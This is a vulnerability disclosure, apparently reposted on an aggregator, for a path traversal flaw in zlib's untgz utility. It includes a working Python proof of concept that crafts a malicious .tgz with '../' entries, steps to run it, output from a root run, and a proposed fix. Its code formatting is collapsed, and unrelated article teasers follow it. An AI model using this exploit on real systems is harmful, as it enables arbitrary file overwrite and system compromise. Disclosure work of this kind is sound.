Path Traversal Vulnerability in zlib untgz ≤ 1.3.1

news/2026/1/22 11:47:07/文章来源:https://www.cnblogs.com/miffya/p/19516216

Title: Path Traversal Vulnerability in zlib untgz ≤ 1.3.1

BUG_Author: mifya

Affected Version: zlib ≤ 1.3.1.2

Vendor: zlib Official Website

Software: zlib - contrib/untgz

Vulnerability Files:

  • contrib/untgz/untgz.c

Description:

A path traversal vulnerability exists in the untgz utility bundled with zlib versions up to and including 1.3.1. The vulnerability allows an attacker to write arbitrary files outside the intended extraction directory by crafting a malicious .tgz archive containing filenames with directory traversal sequences (e.g., ../).

Root Cause Analysis:

  1. Unsafe File Path Handling:

    • In the file contrib/untgz/untgz.c, the tar() function (lines 385-575) directly uses filenames from the tar archive header without proper sanitization.
    • Specifically, at line 439, the filename is copied from the tar header:
      strncpy(fname, buffer.header.name, SHORTNAMESIZE);
      
    • At line 481, this unsanitized filename is used to create files:
      outfile = fopen(fname, "wb");
      
  2. Missing Path Validation:

    • The code does not check for or filter out ../ sequences in filenames.
    • The code does not verify that extracted files remain within the intended extraction directory.
    • Absolute paths (starting with /) are also not blocked.
  3. Impact:

    • An attacker can craft a malicious .tgz archive that, when extracted, writes files to arbitrary locations on the filesystem.
    • If untgz is run with elevated privileges (e.g., root), this can lead to:
      • Arbitrary file overwrite (e.g., /etc/passwd, /etc/shadow)
      • Remote code execution via overwriting startup scripts or cron jobs
      • Complete system compromise

Proof of Concept:

Step 1: Create Malicious Archive

Create a Python script to generate a malicious .tgz file:

#!/usr/bin/env python3
import tarfile
import gzip
import iodef create_malicious_tgz(output_path):tar_buffer = io.BytesIO()with tarfile.open(fileobj=tar_buffer, mode='w') as tar:# Malicious path traversal payloadmalicious_filename = "../../../tmp/pwned_by_path_traversal.txt"content = b"PATH TRAVERSAL VULNERABILITY EXPLOITED!\n"content += b"This file was written outside the extraction directory.\n"info = tarfile.TarInfo(name=malicious_filename)info.size = len(content)info.mode = 0o644tar.addfile(info, io.BytesIO(content))with gzip.open(output_path, 'wb') as f:f.write(tar_buffer.getvalue())print(f"[+] Created malicious archive: {output_path}")if __name__ == "__main__":create_malicious_tgz("malicious.tgz")

Step 2: Compile Vulnerable untgz

cd zlib-1.3.1
./configure && make
cd contrib/untgz
gcc -O3 -I../.. -L../.. -o untgz untgz.c -lz

Step 3: Execute the Exploit

# Create test directory
mkdir -p /tmp/test_extract
cd /tmp/test_extract# Run untgz to extract malicious archive
LD_LIBRARY_PATH=/path/to/zlib-1.3.1 /path/to/untgz /path/to/malicious.tgz

Step 4: Verify Exploitation

# Check if file was written outside extraction directory
cat /tmp/pwned_by_path_traversal.txt

Expected Output:

PATH TRAVERSAL VULNERABILITY EXPLOITED!
This file was written outside the extraction directory.

Exploitation Evidence:

$ cd /tmp/test_extract
$ untgz malicious.tgz
Extracting ../../../tmp/pwned_by_path_traversal.txt$ cat /tmp/pwned_by_path_traversal.txt
PATH TRAVERSAL VULNERABILITY EXPLOITED!
This file was written outside the extraction directory.

When running as root:

root@host:/tmp/test_extract# untgz malicious_root.tgz
Extracting ../../../../../../../../testtestroot@host:/tmp/test_extract# cat /testtest
PWNED BY PATH TRAVERSAL!
This proves arbitrary file overwrite vulnerability.
If you see this, the root-owned file was overwritten!

image-20260122111459115


Vulnerable Code Snippet:

File: contrib/untgz/untgz.c

// Line 439: Filename copied directly from tar header without sanitization
strncpy(fname, buffer.header.name, SHORTNAMESIZE);
if (fname[SHORTNAMESIZE-1] != 0)fname[SHORTNAMESIZE] = 0;// ... later ...// Line 481: Unsanitized filename used to create file
outfile = fopen(fname, "wb");

Suggested Fix:

Add path validation before file creation:

int is_path_safe(const char *path) {// Reject path traversal sequencesif (strstr(path, "..") != NULL) return 0;// Reject absolute pathsif (path[0] == '/') return 0;// Reject backslash traversal (Windows)if (strstr(path, "..\\") != NULL) return 0;return 1;
}// Before fopen():
if (!is_path_safe(fname)) {fprintf(stderr, "Skipping unsafe path: %s\n", fname);continue;
}
outfile = fopen(fname, "wb");

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1199863.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于CodeSys和Raspberry Pi制作简单PLC

基于CodeSys和Raspberry Pi制作简单PLC基于CodeSys和Raspberry Pi制作简单PLC发布于 2021-11-09 16:04:033.2K0举报文章被收录于专栏:剑指工控关联问题换一批CodeSys是什么?Raspberry Pi如何用于制作PLC?制作简单PL…

【2026最新】大模型学习指南:零基础入门,从概念到应用,程序员必备,建议收藏!

本文全面介绍大模型基础知识,包括AI核心概念与大模型特性。重点解析Prompt工程技巧,详细说明如何编写高质量提示词;深入探讨AI Agent架构,阐述其与大模型的协同关系;系统讲解RAG技术,解决大模型幻觉问题。文…

2022年深圳中学自招真题(答案版)

2022年深圳中学自招真题(答案版)2022年深圳中学自招真题 全卷共15题,满分70分 1、(4分) 已知\(\dfrac{a}{b}=a+2\),\(\dfrac{b}{a}=a-2\),则\(\dfrac{b^2}{(a-2)^2 }=\)____. 【答案】 \(5\) 【解答】 将两式相…

时序数据库 Apache IoTDB V2.0.6/V1.3.6 发布|新增查询写回功能,优化查询与同步性能

时序数据库 Apache IoTDB V2.0.6、V1.3.6 已经发布! V2.0.6 版本作为树表双模型正式版本,新增表模型查询写回功能,新增位操作函数(内置标量函数)以及可下推的时间函数,同时对数据库监控、性能、稳定性进行了全方…

【2026】 LLM 大模型系统学习指南 (14)

反向传播(Backpropagation):神经网络的 “高效学习引擎” 神经网络的核心魅力在于 “自主学习”—— 通过数据调整参数,逐步提升预测准确率。而反向传播(简称 BP)正是实现这一过程的 “核心算法”&#xf…

expect脚本自动化地执行linux环境下的命令行交互任务

expect命令安装Ubuntu/Debian系统:sudo apt-get install expect Redhat/Centos系统:sudo yum install expect -y expect脚本使用 expect用于自动化地执行linux环境下的命令行交互任务,例如scp、ssh之类需要用户手动…

收藏!2026招聘市场回暖,AI岗位供需反转下程序员的破局指南

脉脉高聘人才智库发布的《2025年度人才迁徙报告》明确指出,自2025年6月起,新经济行业新发岗位量正式实现对去年同期的反超,沉寂许久的招聘市场迎来实质性回暖。而在这波复苏浪潮中,AI领域的表现堪称“顶流”,成为拉动岗…

2026链板提升机市场盘点:哪些企业值得信赖,密封输送机/大倾角输送机/全封闭输送机/上料提升机,提升机实力厂家联系电话

在工业生产自动化升级浪潮中,链板提升机作为垂直输送的核心设备,直接影响着生产线效率与安全。尤其在食品加工、玻璃制造等高精度行业,其稳定性、耐腐蚀性及定制化能力成为企业采购的关键考量。据国内机械行业协会发…

收藏备用|Java程序员转型AI大模型指南:从入门到实战

在技术迭代日新月异的当下,人工智能(AI)领域的**大模型(Large Language Models, LLMs)**正以颠覆性态势渗透各行各业。从日常的自然语言交互、智能图像生成,到企业级的智能客服搭建、代码自动辅助开发&…

8.5 进阶实战:Thanos 高可用架构与多租户监控方案落地

8.5 进阶实战:Thanos 高可用架构与多租户监控方案落地 1. 引言:Prometheus 的局限性 Prometheus 虽然强大,但在生产环境中会遇到两个致命问题: 存储限制:Prometheus 默认只保留 15 天的数据。对于需要长期分析(如月度报表、容量规划)的场景,数据不够用。 高可用问题:…

告别选择困扰!为您推荐国内符合国标的高低温拉力试验机实力厂家!

一、产品核心作用与行业发展趋势高低温拉力试验机作为材料力学性能测试的关键设备,通过模拟极端温度环境(-70℃至+300℃),精准评估材料在拉伸、压缩、弯曲等工况下的抗拉强度、断裂伸长率及弹性模量等参数。其应用…

8.4 告警策略:Alertmanager 配置指南与告警降噪最佳实践

8.4 告警策略:Alertmanager 配置指南与告警降噪最佳实践 1. 引言:告警疲劳的噩梦 很多公司的告警系统是这样的: 每天收到 1000+ 条告警 90% 是无效告警(误报、重复、低优先级) 真正重要的告警被淹没 运维人员对告警麻木,选择性忽略 这就是告警疲劳(Alert Fatigue)。它…

深聊包饺子要放什么调料更香,鸿禄食品调味品选哪家好?

在家庭烹饪场景中,饺子作为传统美食的代表,其馅料的风味直接决定了饺子的口感与美味程度。而选择合适的调料,正是让饺子馅料香而不腻、鲜而不寡的关键。面对市场上琳琅满目的调味品,如何挑选健康又美味的产品?以下…

【2026】 LLM 大模型系统学习指南 (15)

深度学习综合实战 —— 深层神经网络优化与复杂场景应用作业五作为深度学习模块的阶段性综合任务,核心是 “巩固 进阶”:在掌握反向传播原理和单隐藏层神经网络的基础上,聚焦深层网络搭建、超参数调优、过拟合解决三大核心能力,通…

强烈安利MBA必用TOP8一键生成论文工具

强烈安利MBA必用TOP8一键生成论文工具 2026年MBA论文写作工具测评:为何需要这份榜单? MBA学习过程中,论文撰写是一项核心任务,但往往面临时间紧张、资料繁杂、格式要求严格等挑战。面对这些痛点,越来越多的MBA学生开始…

8.6 统一标准:OpenTelemetry 核心概念与全链路追踪实现

8.6 统一标准:OpenTelemetry 核心概念与全链路追踪实现 1. 引言:追踪系统的“巴别塔” 在微服务架构中,一个用户请求可能经过 10+ 个服务。当请求变慢时,如何定位瓶颈? 分布式追踪(Distributed Tracing) 应运而生。它记录请求在服务间的完整调用路径,就像给请求贴上…

5G PDSCH(物理下行共享信道)吞吐量MATLAB仿真方案

仿真方案概述 本仿真将实现以下完整流程: 传输端:TB → 信道编码 → 调制 → 层映射 → 预编码 → OFDM资源映射 → IFFT → 加CP 信道:通过衰落信道(TDL/CDL) → 加AWGN噪声 接收端:去CP → FFT → 信道估计与均…

2026年低楼层微通风系统窗定制源头厂家排名,阜积铝业表现亮眼

2026年家居消费升级浪潮下,低楼层住户对通风与安全兼顾的门窗需求持续攀升,微通风系统窗凭借关窗通风的核心优势成为市场新宠。无论是低楼层微通风系统窗的定制需求,还是源头厂家的型材供应与成品交付,优质服务商的…

2026高密度硅酸钙板市场,优质企业排行一览,硅酸钙保温管/高密度硅酸钙异形件,高密度硅酸钙板企业推荐

行业现状与高密度硅酸钙板核心优势 随着工业制造、建筑装饰及新能源领域对材料性能要求的持续提升,高密度硅酸钙板凭借其耐高温、抗腐蚀、高强度及环保特性,成为市场关注的焦点。其密度范围(800-1100kg/m)、耐温性…

2026年1月四川有机肥/农家肥/有机肥料/生物有机肥/农资肥料优质厂家哪家好

一、有机肥料引言 1.1 行业核心痛点 2026年,随着“十四五”农业农村现代化规划深入推进,四川作为农业大省,绿色农业转型进入攻坚阶段,有机肥料成为连接农业废弃物资源化利用与土壤质量提升的关键载体,市场需求持续…